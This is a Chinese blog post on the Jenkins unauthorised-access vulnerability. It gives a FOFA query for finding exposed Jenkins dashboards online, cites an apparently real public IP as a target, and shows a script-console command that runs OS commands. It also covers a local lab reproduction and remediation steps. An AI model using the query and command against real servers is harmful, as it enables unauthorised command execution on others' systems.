Jenkins未授权访问漏洞

Jenkins未授权访问漏洞

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

漏洞复现

步骤一:使用以下fofa语法进行产品搜索

复制代码
port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

步骤二:在打开的URL中.点击 Manage Jenkins-->Scritp Console 在执行以下命令

复制代码
#执行命令
println "whoami".execute().text  
#命令执行页面
http://125.63.109.2:8080/manage/script/index.php

实在找不到

靶场复现

环境准备

虚拟机centos IP:192.168.30.138

下载安装包,版本1.620.1.1.norach

复制代码
wget http://archives.jenkins-ci.org/redhat/jenkins-1.620-1.1.noarch.rpm

安装Jenkins

复制代码
rpm -ivh jenkins-1.620-1.1.noarch.rpm

启动Jenkins服务

复制代码
service jenkins start

关闭防火墙或放行8080端口

复制代码
systemctl stop firewalld.service

访问服务地址

http://192.168.30.138:8080/manage

http://192.168.30.138:8080/script

复制代码
#执行命令
println "whoami".execute().text  


漏洞修复

  1. 升级版本。
  2. 添加认证,设置强密码复杂度及账号锁定。
  3. 禁止把Jenkins直接暴露在公网。
相关推荐
IT大白鼠2 分钟前
MSF二次开发与自定义模块编写
网络·安全·web安全·msf
Julien200425 分钟前
调查和解决 SELinux 问题
linux·运维·服务器·网络·学习方法
天远Date Lab2 小时前
零信任架构实战:基于天远双人婚姻评估查询构建自动化房产按揭联合审查网关
运维·人工智能·架构·自动化
2601_962074682 小时前
自己编译RustDesk,并将自建ID服务器和key信息写入客户端
运维·服务器
小张同学a.3 小时前
Docker 容器实战 1—— docker 基础与镜像构建
linux·运维·docker·容器
大模型丫丫3 小时前
Hermes Agent:轻量级智能体框架实战指南
大数据·运维·服务器
考虑考虑4 小时前
kubectl命令
运维·后端·自动化运维
NJCloud4 小时前
Docker 容器技术入门:部署、核心概念与基础命令
运维·docker·容器
2601_962072334 小时前
docker自建rustdesk-server远程桌面
运维·docker·容器
Blockchina4 小时前
Codex 实战:从一句需求到可验收的 Linux 主机巡检脚本
运维·服务器·网络